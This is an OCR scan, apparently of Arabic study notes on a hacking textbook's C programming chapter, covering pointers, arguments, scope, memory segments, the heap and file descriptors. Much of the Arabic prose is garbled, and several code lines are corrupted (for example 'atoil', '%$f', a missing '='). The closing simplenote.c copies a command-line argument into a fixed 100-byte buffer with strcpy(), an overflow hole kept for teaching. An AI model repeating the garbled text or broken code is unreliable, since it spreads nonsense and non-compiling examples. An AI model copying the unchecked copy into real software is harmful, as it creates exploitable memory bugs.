:%&LS¢&¢od}§S

(typecast data type) var
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Jle ds U

#include <stdio.h>

int main () {
int a, b;
float c, d;
a = 13;
b =5;
c =a/ b; // Divide using integers.
d (float) a / (float) b; [/ Divide integers typecast as floats.

printf ("[integers]\t a = %d\t b = %d\n", a, b);

printf ("[floats]\t ¢ = %$f\t d = $f\n", c, d);

reader@hacking:~/booksrc $ gcc typecasting.c
reader@hacking:~/booksrc $ ./a.out
[integers] a = 13 b =5

[floats] c = 2.000000 d = 2.600000
reader@hacking:~/booksrc $

0 ySom 13Le s o mod JI Ll .0V 5 das 2 0y It I plitsecnd Al (3 dendl b OB (55 S
¢ -

S Cf’u‘

Steas ..5352 pointers JI 0 555 of g2 &b .. axs compiler JI 35 +\3T Pointers I upi > SlA

“An integer pointer should point to integer data, while a character pointer should only point to
character data”.

.1 byte &>Ls char JI Jaiy (o <4 bytes Ls ;05 &> Lo integer JI Jaly . dele 3 guns g
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Size of an int is 4 bytes on most architectures, and the size of a char is 1 byte.

AT Ok a2l
JI lda cpointer JI olﬁsi o2~ printf() JI J=1s (8p) 52 5 .. 44> format parameter ol LS,
e Al Zinall 5 <Hexadecimal Ju mstedl 5 e 15T asy (0x208x) danall Ll a2 (3p)

.memory address JI

#include <stdio.h>
int main () {

int 1i;
char char arrayl[5] = {'a', 'b', 'c', 'd', 'e'};
int int array[5] = {1, 2, 3, 4, 5};

char *char pointer;

int *int pointer;

char pointer = char array;

int pointer = int array;

for(i=0; i < 5; i++) { /I Iterate through the int array with the int_pointer.
printf (" [integer pointer] points to %p, which contains the integer

$d\n", int pointer, *int pointer);

int pointer = int pointer + 1;

}

for(i=0; i < 5; i++) { /I Iterate through the char array with the char_pointer.
printf (" [char pointer] points to %p, which contains the char
'$c'\n", char pointer, *char pointer);
char pointer = char pointer + 1;
}
}

dl#:jﬁ,uJ?twopointersu;ﬁcﬁ&%&cg#arraysd\ggé;qﬂuﬁwéjus

bd
(char_pointer = char array;)4 s blllarray Ji
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Lol della r%--5r5)‘&1¢5)‘o“‘?‘~9 Lel=1s 5 525 pointer JI faxd for dls L;gdf.upwrs

oA Olge ) _einl pointer Ji of :,;- "address of that number in memory" Ji sa J5YI =

: QWS pointer I elednal s meas &35 g, sl Jot1s o all

printf (" [integer pointer] points to %p\n", int pointer);

ey L& pointer JI o 0L ciblawy U3 5 cpointer JI U3 ad] s gl 1> VEJM Al -
") i sl block 1 s sy 52 Lo W 51" o 55 WIS 5 () s

M\:ﬁui

printf (" [integer pointer] points to %d\n", *int pointer);

Dls J=1s LI instruction J) Jand ol 22 b = Vj address Ji &~ pointer Ji Ty o s &1 L>Y

tspo for

-

int pointer = int pointer + 1;

2 2 &
2 03 N A g Eom 8 sanall s Sl address I () e el &l ]

Sl sy p 52 byte oS3
T s 2335 VJ 5 30 ) o OF dJ &ladl 3K cit 513801 515 s pOINtEr JI e 5305 x5

ol L )jﬁj characters J| & ye.as ] |z Vj A
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reader@hacking:~/booksrc
reader@hacking:~/booksrc

[integer

pointer]
pointer]
pointer]
pointer]
pointer]

pointer]
pointer]
pointer]
pointer]
pointer]

points
points
points
points
points

points to
points to
points to
points to
points to

reader@hacking:~/booksrc

$ gcc pointer types.c
./a.out

Oxbffff7f0,
Oxbffff7f4,
Oxbffff7£8,
Oxbffff7fc,
O0xbffff800,
0xbffff810,
Oxbffff811,
Oxbffff812,
Oxbffff813,
Oxbffffg814,

$

to
to
to
to
to

$

which
which
which
which
which

which
which
which
which
which

contains
contains
contains
contains
contains

contains
contains
contains
contains
contains

the
the
the
the
the

the
the
the
the
the
char
char
char
char
char

integer
integer
integer
integer
integer
lal
lbl
lcl
ldl
lel

g w N

Jde s AL elds C o Al ) 8 saadl e Wizl Sed "4 bytes" ltias sls 3 integer pointer Ji of La>Y

L s badags of 2 21 G > 5T o> Hexadecimal Ji play ol 5Y 1das 9, A, B, C 15,

Jldies character pointer Ji sls 5 <){Lﬁf\\ G -Oxbffff800 | Oxbffff7fc .o JlasVl @ JUH S ¢ il
;@-1‘-.’. L.S "1 byten
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A char is 1 byte, an int is (typically) 4 bytes. When you increment a pointer, you increment by
the size of the data being pointed to. So, when you increment a char*, you increment by 1 byte,
and when you increment an int*, you increment 4 bytes.



Command Line Arguments

¢ Interaction 1 ) 712 ¥ o GUI o (552 ¥ A1 ol 1l (3 bl e gl i ptsens
k) scanf(() JI s e inputs I Jines ¥ b ¢ Jandl el Ty OF s Users JI 35 e CIW)
J;aé'i?¢@ujg| ool s LS r}BoE@UJ& Lg.l.;::,ﬁic)%):g\ arguments J! &Ls) Elslay S5
Lo @ b de S0 MU e @;5\ Jda o RO ﬁ;.ﬁ Lo Lada ub o5 argument [0] G‘:“Ufﬂ -
.Linux Terminal s DOS J!

bl Jos &l e EIP JI L] 3 Function Jsf LY main( ) JI & arguments JI Ci =z o s
W] 51 Arguments Ji sus dyds) s13aS_xed integer Lok p s .ol

13 arguments JI O s array Ji o Jis <"'pointer to an array of strings" Vj

ﬂgaﬁp%goiA

int main(int argc, char *argv[])

5

e aad

-

#include <stdio.h>
int main(int arg count, char *arg list[]) {

int 1i;
printf ("There were %d arguments provided:\n", arg count);
for(i=0; i < arg count; i++)

printf ("argument #%d\t - \t%s\n", i, arg list([i]);
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I e 3as gl 5,800 s G fifid (Ml U] oll) arguments J1 sas 5358 1T
sy o :ﬁo- printf( ) dls plasenly Lalall de U welle o 53 Vj cllsls e 525 Arguments
AL s5BUd string J1 5 05201 argument

:G_?L:;.S\ %;iu

reader@hacking:~/booksrc $ gcc -o commandline commandline.c
reader@hacking:~/booksrc $ ./commandline

There were 1 arguments provided:

argument #0 - ./commandline

reader@hacking:~/booksrc $ ./commandline this is a test
There were 5 arguments provided:

argument #0 - ./commandline
argument #1 - this

argument #2 - is

argument #3 - a

argument #4 - test

reader@hacking:~/booksrc $

S olS s g Jltal Lad Vj (deVL gl | S Argument T 5 413 > (3 geldl el OF LY
Aol r;g/Arguments

Variable Scoping

H el “Global” s “Local” Lo| _gb ..o =5 da b &5 e variables JI C\jﬁ oo oY MW
s112%  ofunction JI |1 W declare el el L olll ol el sl of functions
2 9 e el PO e 5

““Local variables” Lgls
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:variables Ji cys g sl s e 5 Jo dt b

#include <stdio.h>

void func3 () {

}

void func?2

}

int 1 = 11;
printf ("\t\t\t[in func3] i = %d\n", 1);

(O A

int 1 = 7;

printf ("\t\t[in func2] i = %d\n", 1i);
func3 () ;

printf ("\t\t[back in func2] 1 = %d\n", 1i);

void funcl () {

int 1 = 5;
printf ("\t[in funcl] 1 = %d\n", 1i);
func?2 () ;

printf ("\t[back in funcl] i = %d\n", 1);

int main () {
int 1 = 3;
printf (" [in main] i = %d\n", 1);
funcl () ;
printf (" [back in main] i = %d\n", 1i);

L0 ga,yu‘funcl‘_pcallJ.wmam()d\wm{,.,&vgjﬂwm jﬂJmaln()du‘;cﬁbﬂn\.Lww

funcl JI el of day S e JWI instruction Ji s J| el main( ) Mo S Ldos (e funcl JI

Lol i3 By o 53 cfunc2 J1 J call Jony csls o o3 ds Lk
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3m 8 Gy el SISl 3 I\Saul o 55 S Lekos a5 OF Y fune2 J1 iz funcl of Lo~y

..QL':H Al g fune3 Peall fox func2 Lm\ cwls s3.main( ) JI Jf pointer JI
JI ) pointer Jis gay G e Lt |8 G 0L bl sla L M8 5 1 de 3 delday fUnC3 old dny
#1550 i o8 e S ol delday o g0 funcd I ) Jiy oF o JW1 el i o 42 func2
Congh A 5ty 0V15 B pa 103d 03 IS Eom 5Vl instruction 1 ks el o &) main()

Nl 0 Sew CaS

tod> L function Js local variable iea Lo e a5 o &Y (s =Y function s i ded M| Loy
! de 8 ks gl

reader@hacking:~/booksrc $ gcc scope.c
reader@hacking:~/booksrc $ ./a.out

[in main] 1 = 3
[in funcl] i =5
[in func2] 1 = 7
[in func3] i = 11
[back in func2] i = 7
[back in funcl] i = 5
[back in main] i = 3

reader@hacking:~/booksrc $
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¢ o variable JI 4@5 .“Global Variables” JI 1} Jaxd Ly La .. “Local Variables” I Logh 3]

functions J! & o S aly 3 e a5 o5 15] “global”
SR WE

#include <stdio.h>
int j = 42; /'j is a global variable.

void func3 () {
int i = 11, j = 999; /l Here, j is a local variable of func3().
printf ("\t\t\t[in func3] i = %d, j = %d\n", 1, 3J);

}

void func2 () {

int 1 = 7;

printf ("\t\t[in func2?2] 1 = %d, j = %d\n", i, 3J);
printf ("\t\t[in func2] setting j = 1337\n");

j = 1337; /I Writing to j (this is not local variable!)

func3 () ;

printf ("\t\t[back in func2] 1 = %d, j = %d\n", 1, 7J);
}

void funcl () {

int 1 = 5;
printf ("\t[in funcl] 1 = %d, J = %d\n", i, J);
func2 () ;

printf ("\t[back in funcl] i = %d, j = %d\n", i, J);
}

int main () {

int 1 = 3;

printf (" [in main] 1 = %d, J = %d\n", 1, J):
funcl () ;

printf (" [back in main] i = %d, j = %d\n", i, J);
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:main() JuTus

W ol sl cglobal variable _gs = & T 15 .5 5 iy o5 ] oY (j=42) 5 (i=3) ielle, printf Ji &l o5
o= &= “local variables” JI S tad] Juas of functions JI @& Ses Eame MEMory Ji d 25
ez |- Lol function Jl ol g2 we gy 32

2

..(..@l\

.global WY «(j = 42) ielb, acld o= (local var i) &, o5 G func2 Ji ) Jac
&b ST 01 050, (j = 1337) LS Luis U3 5 <(global Var ) Jl e oty p skis Ioms o o8 202 25
1337 el A 7 4o & Joms Sou A1 local vars JI daes edgs.. “int 7 dawas fUnc2 Ji Ll

42 u»%.b

Zagd LaliaeT s Lt LA  Liosenad b clocal vars oo e (] 51) oy S iy o3 o5 S FUNC3 U1 I Jic
o il 3T global JI ells e local £ Lei a5 o5 1 JI plaseaals compiler JI o sis QUL 5 <999 o
8 1337 ) e Jw Lad A1 global J1 5™ J e oLl 122 func2() JI 4] &5 51 3T ;: ..func3()
o5 Glis o fUnC2( ) IV gz oF Dsud 5 i Red B 65U funcd( ) Y call JI e
65 4ol o ol o lgd Jaw 2 cTJ%Jsij .funcl() _» Caller function J! | “instruction pointer”

z

func1() P soleNicaller Ji » N (s =15 0 main() JI
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reader@hacking:~/booksrc $ gcc scope2.c
reader@hacking:~/booksrc $ ./a.out
[in main] 1 = 3, 7 = 42
[in funcl] 1 =5, 7 = 42
[in func2] 1 =7, J = 42
[in func2] setting j = 1337
[in func3] i = 11, j = 999
[back in func2] 1 =7, j = 1337
[back in funcl] i =5, j = 1337
[back in main] i = 3, j = 1337
reader@hacking:~/booksrc $
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Memory Segmentation

AT Jeol 3 s
«x86 architecture JI e |3 o LodSS U3 LS .memory segmentation Ju sl 55y RN (.J_C,:
Laf adul ol g sy &e Ay 31 o e 5 1332 architecture J\ lis ;e NECH

CPU

[ Registers ]
Coitial Main

\ AU j=s Unit I = Memory
(RAM)

Input/Output Devices

hardware < 4S5 B3 e 05 465 65 1S
= The central processing unit (CPU) executes code.

= The main memory of the system (RAM) stores all data and code.
= An input/output system (1/O) interfaces with devices such as hard drives, Keyboards, and

monitors.
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Yok 5 L g5 Main Memory Ji 4] Ja=3)

s dld oL in T JIRAM U1 (28

Data, Code, Heap, and Stack

e JSdaby - e Lzi] p i dlgllay Sections JI jax s Main Memory Ji s 5, (S s

Low Memory Address

High Memory Address

Main
Memory

Stack

Heap

Code

Data
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Data
Y el ne Static values O 5SS OF L) values Jl ods . zsli_l) load Jaz o Letie Values JI 052 4a s

J=1s function (Y &L o3 Lel 4a, Global values JI sas =31 gl 51 el i oo ol s
b
fogk; W initialized fos o5 43 Sl s sVl eda s (6l O “Data” Jb w5 e oo lia S

dl cadiw b L o U 5342 Lo L@,ﬁ <l 13) LI ."Data Section"J! & o p o s (33U

®©\

“Bss Section” e 51 section

:uninitialized J 5 initialized JI ;o & 41

int global var;

int global initialized var = 5;

W WU G Ll Uninitialized variable & Y "BSS" JI ad (3 o) M 52 cxw Y1 A

"Data" Jl ol & 432 i JUL 5 <Vinitialized Var" mosls «(5) s ded illasl, e o

Code or Text Section
dinstructions JI le s 3£ ¢ Compiled Code Ji 4] cady IO 4o s
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Heap
o5& L| .program execution J! #1357 Dynamic memory J! 55 Uy b J», dage Segment Ji oda

(o gl free Jons Laf o585 3 1 i Bg celidl oo ST s 1 saad values S allocate fos,
4 5 =Y "Dynamic memory" JU Lede slay 104 M) dxw GAL;J?J\ dxy g L:;J\ v.;d\ o memory |3

ol e Ly ads
o il ) Bl 5 358,510 llgrs Y Tl s o oz g elomiaad) 213 o Y

s 55l ,all dé./(é“Heap Overflow” s <l &1 e 5 S s RG]

Stack
Ju Lol parameters Ji, Local Variables dI we Jobas o1 U 51 (S s L LSS W5 LS

(b G g JS T Ll s 3 Ol sazy &= Stack I 5 Heap JV o B3e 5 4 5 La>Saws .Functions
M \.:\Jb) c'c?u.o u@b cheap d\ S..)Laan} J.C« stack J\ .>|.>J'3 \‘.‘J.a c':\>-L>;U iﬁj QLAE.LE} 9\.).3;2
.CLL.:MJ.‘ o8 -l G Ludl 35 s memory JI J 9

r U Kl (8 Stack JI s Heap JI >N

J e 6442 & ;33 ~?Ul Layout I @ ¢l | (gl "Bss Section” JI 4 ¢k La
"Uninitialized variables"
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Low addresses Text (code) segment

Data segment

bss segment

Heap segment

The heap grows
down toward
higher memory
addresses.

The stack grows
up toward lower
memory addresses.

Stack segment

High addresses

JOUINa e elgmVI e bo,Ls ais Gl Y .42 dl SlwlwY IIKewY dds e 5 92 L

The Heap
JI & 51Bss Segment JI 3 L) a3 o5 ol 3355 1 a il declare J1 43 b S e bS5 1S

Jeiins iﬁ; «malloc() dé.xf function puse.s Heap JI J&1s il e Us,T 13] |ow . Data Segment
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s e malloc() JI - Sas 4135 el 55 A1 Ll <Size JI a5 o 5 argument D1l oda i
"Null Pointer with value 0" &l x> § e &> L) lls
s alasanal o JESE S Heap iU i, 058 S U 3,53 FUnCion 5y 5 oG 5 Ll

Free() leds gl

SURUNCEIAN

int array[10];
int * array = malloc (10 * sizeof (int));

Eoom 2] d Ll Sl 5i700F( )l p st 1 -1 25T 1 o1 ks g C VR 3

it g 5 oy ¢L§j 5 he OlazY d-lus" t res 10 3 &5 20 One Integer J & yllall 2L (WL s

di g5 block Ji s 0l s ) s pointer LI ax 55 Heap JI o1 &=Ll sy malloc( ) Ji e 535 o5
array :0 s AL L 3 pointer Ji s </ Heap
;l;l Data type JU fL.uN\ O3 Heap JI @ b d>lowe sy o5 b malloc( ) JU diaze da>Se Sla

- Void ¢ 55 e ST pointer W g, p siss &) Ll s

¢ void pointer Ji lda L. ikt

g oo 2 ] 28 G "void pointer” o a2 A 6 2l el SiSey. L
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b s 8 BLoL e s .malloc() Jb o JKSYT e Jow e 522 L cvoid pointer JI Cngs o dass OV
JI J] void pointer Ji 144 Casting |<= £ s bl ..heap JI & SJ'WJ\ data type JI ¢ Jde At

AW il 2 53 Ji data type

LS Castdl o Ja

Typecasting Jis & (1 03 salb o] O am| 5 sé‘; ;

Cast Jb L3115 (Cast s AoV . o) Al e g Lt s

int * ptr;
ptr = malloc (10 * sizeof (int)); /* without a cast */
ptr = (int *)malloc (10 * sizeof (int)); /* with a cast */

Ao Y 1 ol buffer JI e S0 05 d-Ludl e @ mallloc( ) I Jis 0LV G 3
.allocation J\ &les 1o L asTed Error checking Joss p s o 58 L] islal 1L

int * array = malloc (10 * sizeof(int));
if (NULL == array) {
fprintf (stderr, "malloc failed\n");
return(-1);

}

%\@\M@)N\ﬁﬁi\uﬁ;i&@}ioﬁjc!c‘\)dlf.g.:FunCtionSd|obei§ixadjﬁ
b Y i v Gl e sl el sl 5Ty pointers JI e LSS 6 Wl 3K 0wl 1
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g CSARE R

Variable Name = | J k
Value of Variable =» 3 65524 65522
Address of Location = 65524 65522 65520

(&i = 65524) |2y o(i = 3) Stad .. SliS Sl Tas Lagi Ll BT

e s e Jles d L

int main ()

{
int *ptr, i;
i = 3;

/* address of i is assigned to ptr */
ptr = &i;

/* show i's value using ptr variable */
printf ("vValue of i : %d", *ptr);

return O;

ield Usyf o "address-of i" JI J| _edo pointer Ji s Lax (.j <Ptr deul pointer o jas i 2o Lo
pointer JI J (*) pzis La «(3) o331 325 pointer JI oJ| i I "block of memory" Ji 1da ol g2
“Dereferencing of Pointer” ilal! oa dwfj printf( ) i J=1s aeinns Lie

value of i : 3 :JB&Lldl ol A0S
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= (&) symbol is used to get address of variable

= (*) symbol is used to get value from the address given by pointer.

= (*) Symbol when used with Pointer variable it refers to variable being pointed to, this is
called as “Dereferencing of Pointers”.

L et g JSS L L
I O el B e o J 5 a5 il 1 ) et (U ams] POINEEX) 5 (NUM dons] iktd) Ls %5 LA

*ptr e ) 8 Jé&i\ “Dereferencing of Pointer ptr” JIs num il e =Yl ax JI Le s &num Ji s ptr

Al o Jot (23S S
Variable Value in it
num 50
&num 1002
ptr 1002
*ptr 50

Programming
[70]



Void Pointer

..void pointer J! s ¢l
Y (.j «(integer, float, and character) :S CHPFCI C\jﬁ By declare Jons Lad LT 5 4
-pointers J e o1 51 BW Cy pmty g p s i i Lo Fly ] ] o2 poiNter vgre i S yanad
oo e Y agd Lle Jsji; "void pointer" Ji 1ia .4 5 pointer o LSV s Akl 55 LS, S

. - character pointer i integer pointer 2 adlas

void *ptr; // ptr is declared as Void pointer

char charnum;
int intnum;
float floatnum;

ptr = &charnum; // ptr has address of character data
ptr = &intnum; // ptr has address of integer data
ptr = &floatnum; // ptr has address of float data

1Bl oy La “void pr Jl 4y p ghow Lo asels alasd
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Scenario

Behavior

When We assign address of integer variable to void
pointer

Void Pointer Becomes Integer Pointer

When We assign address of character variable to void
pointer

Void Pointer Becomes Character
Pointer

When We assign address of floating variable to void
pointer

Void Pointer Becomes Floating
Pointer

z

JI I (character data type) Ji e o szl fls.:wf atoi( ) s Function ¢ vii:T Of syl |

i g e e (3 (integers) o] de ot md p Led CiS b Jle (L LS - (integer data type)

raslidl e Les e 5 (Character)

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main ()

{

int wval;
char str[207];

strcpy (str, "98993489");
val = atoil(str);

printf ("String value = %s, Int value

return (0) ;

%d\n", str, wval);
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QU sl 0555
String value = 98993489, Int value = 98993489

Heap Segment JI Jls Gows ! IREN oo Lags! s

Heap Example:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char *argv[]) {
char *char ptr; // Achar pointer
int *int ptr; /I An integer pointer

int mem size;

if (argc < 2) /I If there aren't command-line arguments,
mem size = 50; /1 use 50 as the default value.

else
mem size = atoi(argv[1l]);

printf ("\t[+] allocating %d bytes of memory on the heap for
char ptr\n", mem size);
char ptr = (char *) malloc (mem size); // Allocating heap memory

if (char ptr == NULL) { /I Error checking, in case malloc( ) fails
fprintf (stderr, "Error: could not allocate heap memory.\n");
exit(-1);
}

strcpy (char ptr, "This is memory is located on the heap.");
printf ("char ptr (%p) --> '$s'\n", char ptr, char ptr);

printf ("\t[+] allocating 12 bytes of memory on the heap for
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int ptr\n");
int ptr = (int *) malloc(12); // Allocated heap memory again

if (int ptr == NULL) { /I Error checking, in case malloc() fails
fprintf (stderr, "Error: could not allocate heap memory.\n");
exit (-1);
}

*int ptr = 31337; /I Put the value of 31337 where int_ptr is pointing.
printf ("int ptr (%p) --> %d\n", int ptr, *int ptr);
printf ("\t[-] freeing char ptr's heap memory...\n");

free(char ptr); I/ Freeing heap memory

printf ("\t[+] allocating another 15 bytes for char ptr\n");
char ptr = (char *) malloc(15); // Allocating more heap memory

if (char ptr == NULL) { /I Error checking, in case malloc() fails
fprintf (stderr, "Error: could not allocate heap memory.\n");
exit (-1);
}

strcpy (char ptr, "new memory");
printf ("char ptr (%p) --> '$s'\n", char ptr, char ptr);

printf ("\t[-] freeing int ptr's heap memory...\n");
free (int ptr); [/l Freeing heap memory

printf ("\t[-] freeing char ptr's heap memory...\n");
free (char ptr); [/ Freeing the other block of heap memory

Z
(]

Jl P arg[1] ;cw GAUJQ\ r.w\ s arg[0] Ji ol JS/" ..cmd-line arguments JI r\mg Lo EARWINE

bl ] ..y&@b&}r)ﬁstring
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2l G ens o at0i( ) plasealy integer ) Lk ey psad arg[l] Ji foeew &1 0f d1s U2
B Lo 78 dolne Ak p g Lol JsY1 _x& arguments T compiler Ji R 13l &1 L>Y «mem_size
& «mem_size 4 52 L dell, printf() o &5 o5 . Jl sb oAl Jos i S B0 Bytes o mem_size
Heap JI (3 & gl &Ll ey malloc( ) J1 p 35 o5 . Argus (sl J:-Jj(l Ll G 50 O ySauw o Ll

fhle d) eis Zol char_ptr of 0Y1 LY Ll b 2 |S & Cast JI as ¢ pointer Ji ¢l

."address of memory allocated in Heap"

Z
- @7

s 3 55 |8 W e &5 Ul block of memory Ji s ¢ L HPS =25 5 SEPY( ) plasealys
el

strcpy(char ptr, "This is memory is located on the heap.");

rals s Al 5 «(%p) operator J el block JI1da Ol se dellay o S
printf ("char ptr (%p) --> '$s'\n", char ptr, char ptr);

"12 Bytes" 23 St Wl f A1 i Ll sz S5 s 215 e allocation fas, el o2
int ptr = (int *) malloc(12);

"31337" suall Loty s LY it U s Catst JI LY

fInstruction Jleda oxs s JJE ..pointers JI il

*int ptr = 31337;
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o se s \Sheap Jfree Jox o s oS

printf ("\t[-] freeing int ptr's heap memory...\n");
free (int ptr); [/l Freeing heap memory

printf ("\t[-] freeing char ptr's heap memory...\n");
free (char ptr); [/ Freeing the other block of heap memory

S il sl
reader@hacking:~/booksrc $ gcc -o heap example heap example.c
reader@hacking:~/booksrc § ./heap example
[+] allocating 50 bytes of memory on the heap for char ptr
char ptr (0x804a008) --> 'This is memory is located on the heap.'

[+] allocating 12 bytes of memory on the heap for int ptr
int ptr (0x804a040) --> 31337

[-] freeing char ptr's heap memory...

[+] allocating another 15 bytes for char ptr
char ptr (0x804a050) --> 'new memory'

[-] freeing int ptr's heap memory...

[-] freeing char ptr's heap memory...
reader@hacking:~/booksrc $

Heap JI cye Lugsl 26 0,55 L )
“Flie Descriptors” JI -,e V.L(M« AWl J padll & TJ\..S PPREESA ‘!V‘@; Ead 50 ) Jal
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File Access

o e Operating System Ji 3 &34 5l (Notepad Cils Ste 2 3ler Lo o Cike i b ks

Skl Calll
Al 1 2Ll UL a8 072 (Call) s e das) lanll o ENtry eLiily S izl s o5
G S pa sie b s T 1305 (Al 14 Unique o3 )1 s (100 Sts .. o5 Entry J1 s e enills p s s
Lo 0o (3 Entries J1 eda 0355 «"10 Entries" oS fatoll s p s clile 3 2o Ste w3501 i

(100, 101, 102, 103,...109) ¢, s 5505 cKernel Ji J=1s

""File Descriptors" Lg.Le 3l o641 o

.S File Descriptor J! s» |3

“It is an integer number that uniquely represents an opened file in operating system”

Sonb o by

] i il kol Tracking Joad Joasd! ol Lgadiind iy b e 5y

Al S el & Jolld (Low-Level Functions) Ji s de 5oz file descriptors Ji ols (:.39;:...\.;
open(), close(), read(), and write()

JI 2= s file descriptor JI T Je ‘_51:.:“ .Error LgT & gl Ul g (-1) CL?JL‘- N.ES functions J! oJa
Jlow-level functions
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il i p 5 (.j command-line argument &s e ks & s dls i note Jlizaly p s el (L b
Ma. (i 0f sty A1 UL overwrite (55 o g2 o &l owes) il s Bl § A2 o8 3L

/tmp/notes : L, S & )l il
5ol adenti Lo alstls (3T write( ) 5 ol S5 2 open( ) puasins Wl 3 55 0 Y g of g

b Gl Joolidl oy §pmaas (o> b eds open( ) of V) el 4af 3L o4& close( )
..Access Mode
VFIAgs” s oo lidl sda.. Slas OLSYI ol <'Write only o1 <“Read only &y J
e Loy Lo
O_RDONLY Open file for read-only access.

O_WRONLY Open file for write-only access.
O_RDWR Open file for both read and write access.

O_APPEND Write data at the end of the file.

O_TRUNC If the file already exists, truncate the file to 0 length.
O _CREAT Create the file if it doesn’t exist.

fentl.h Lib JV eJd include <3 gl flags Ji oda plal e open() JI K S
#include <fcntl.h>

open() ) o5es 541 flags a5 "sys/stat.h" ed s library J include Joe Ll L>dGs

."file permissions” JU slxs «Lgalazeis!

el ny o

bl sss gl
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#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <sys/stat.h>

void usage (char *prog name, char *filename) {
printf ("Usage: %s <data to add to %s>\n", prog name, filename);
exit (0) ;

void fatal (char *); /I A function for fatal errors
void *ec malloc (unsigned int); // Anerror-checked malloc() wrapper

int main(int argc, char *argv[]) {
int £d; // file descriptor
char *buffer, *datafile;

buffer = (char *) ec malloc(100);
datafile = (char *) ec malloc(20);
strcpy (datafile, "/tmp/notes"™);

if (argc < 2) /I If there aren't command-line arguments,
usage (argv[0], datafile); [/l display usage message and exit.

strcpy (buffer, argv[1]); [/ Copy into buffer.

printf (" [DEBUG] buffer @ %p: \'%s\'\n", buffer, buffer);
printf (" [DEBUG] datafile @ %p: \'%$s\'\n", datafile, datafile);
strncat (buffer, "\n", 1); // Addanewline on the end.

// Opening file
fd = open(datafile, O WRONLY | O CREAT | O APPEND, S IRUSR |
S _IWUSR) ;

if(fd == -1)

fatal ("in main() while opening file");
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printf (" [DEBUG] file descriptor is %d\n", fd);

I/ Writing data
if (write (fd, buffer, strlen (buffer)) == -1)
fatal ("in main() while writing buffer to file");

I/ Closing file
if (close(fd) == -1)
fatal ("in main() while closing file");

printf ("Note has been saved.\n");
free (buffer);
free (datafile);

/I A function to display an error message and then exit
void fatal (char *message) {
char error message[100];

strcpy (error message, "[!!] Fatal Error ");
strncat (error message, message, 83);
perror (error message) ;

exit (-1);

/I An error-checked malloc() wrapper function
void *ec malloc(unsigned int size) {
void *ptr;
ptr = malloc (size);
if (ptr == NULL)
fatal("in ec malloc() on memory allocation");
return ptr;

Programming
[80]



bl el 2 arg[0] VLJ \S5 «command-line arguments peel_J! J5 G main( ) Ji ey T

=
“ W T

Ao A 30 L a arguments J) & -

5
5

simplenote.c caws

5 buffer LA "pointers on strings" .,b.,bw/ l;i’:é, file descriptor JI ded Josal cint o u.,,sw/ B
o= casting J fee - buffer JJ 100 bytes La ,lads d>Luwe LJP,:;q ec_malloc() J! ¢l Vj «datafile
sl string I 52

Al Lzt 1206 Ala datafile Ji s J=1s manl oS3 «datafile I 20 bytes W sz cuols Laf &5
“/tmp/notes” 1 5w akelk| oda ..StrCPY( ) pldsul,

/tmp/notes JI Jf Ly Cadl datafile Ji ds Ledeal Lo o

L S Tl plasealy b 3 w5 o5 arguments JI U] hes e asTll

If (argc < 2)
usage (argv[0], datafile);

' s~ usage (argv[0], datafile) JauJllda

:parameters Ji eda s AW} usage( ) JI Jl ol (,_:

Argv [0]whichis: simplenote.c, and datafile whichis: /tmp/notes

:void usage sl function JJ oMb oy parameters Jf oda

void usage (char *prog name, char *filename) {
printf ("Usage: %s <data to add to %s>\n", prog name, filename);
exit (0);

}
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.main() Ji Jf return value £t 0, - J &1 _wes VOid Ll LY

«“this is test note” _ay «arg[1] JI W=l > 4

e pe B Ol pall Ao lb 5 e Llay prNtF( ) ¢ 45 Ladny 5 <buUffer JI ) L@ew.iww
"Address of buffer, and buffer"

L sz 5 <"address of datafile string" : L Cikl,: A printf() Lgs Jau]
“ftmp/notes” Calll jlae a5 &b string Laf Jg:\f

*\o

La
2

:;—65\ fda

strncat ( buffer, "\n", 1 );

G

s
(1) @305 el odn g3 OF s g o | mew “thiis s test note” _a s .string JI ) \n &Ls0 (..:

5.

© memory Ji 15 5o Il s izl 1 imLull a5 b Lbyte japad Feds “in” Of oy La

:low-level-functions ya 5 &bl ¢ 5.5 4 U 01

31 A AL s agiony <Flags JI e e yot ontdunal el (6 5 S 5 il b Ekony OpEN( ) Il p g

L d>d
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Aoy .OR o5 standard logic gates JI dl as | vgi Jais Flags B oo 0555 L5V e gannll
oYY s 0] flags Jl e dd @;,-J_S\
S_IRUSR | S_IWUSR :_¢5 23l a6 yanell s

Permissions J! s & g Laf o] ul.«.w

S_IRUSR Give the file read permission for the user (owner).
S_IWUSR Give the file write permission for the user (owner).

fatal() ) JsYU gali_dl ¢ sie Open, write, and close : o) LA (s ddae (o 25 dog &1 Lo
upﬁprlntf()w@,umc.ewwuw& b o g A S 5 error D, U gk
el oy Lol fd U

file descriptor J! i Jé.l.:‘_}ab

s s B oy S 5T a0l ld plowd QUL buffer Ji s string .3 write() J1 G o
536 Dl s buffer J1 ol sd JUisaly 048 (s =1 Funcion plascat, write( ) Ji o La ol

strlen() 6;,3 function Jl eda .4 5>

0l pl 3] cclose( ) G ealll 3i 5 =Y function J1 W b 22
"note has been saved"
.main() Ju ol w}ij\ sle o5 -Heap JI ¢, datafile 5 buffer Ji . J’Q free Jis Vj
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:G%L:.;H Jalid)

reader@hacking:~/booksrc $ gcc -o simplenote simplenote.c
reader@hacking:~/booksrc $ ./simplenote

Usage: ./simplenote <data to add to /tmp/notes>
reader@hacking:~/booksrc $ ./simplenote "this is a test note"
[DEBUG] buffer @ 0x804a008: 'this is a test note'’

[DEBUG] datafile @ 0x804a070: '/tmp/notes'

[DEBUG] file descriptor is 3

Note has been saved.

reader@hacking:~/booksrc $ cat /tmp/notes

this is a test note

reader@hacking:~/booksrc $ ./simplenote "great, it works"
[DEBUG] buffer @ 0x804a008: 'great, it works'

[DEBUG] datafile @ 0x804a070: '/tmp/notes'

[DEBUG] file descriptor is 3

Note has been saved.

reader@hacking:~/booksrc $ cat /tmp/notes

this is a test note

great, it works

reader@hacking:~/booksrc $

reader@hacking:~/booksrc $
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File Permissions

23 UK S AIflags JI Fye i5 pd erad ISR pNE a.o.@i! 531 G file permissions JI &
MOR" &) 5 plserly s

b LS comeiindl o gl T B NS ot wole yok 6 U 2l Flags U e
= o AR 2D DL gt |

User (Owner)

S_IRUSR Give the file read permission for the user (owner).
S_IWUSR Give the file write permission for the user (owner).
S_IXUSR Give the file execute permission for the user (owner).

Group

S_IRGRP Give the file read permission for the group.
S_IWGRP Give the file write permission for the group.
S_IXGRP Give the file execute permission for the group.

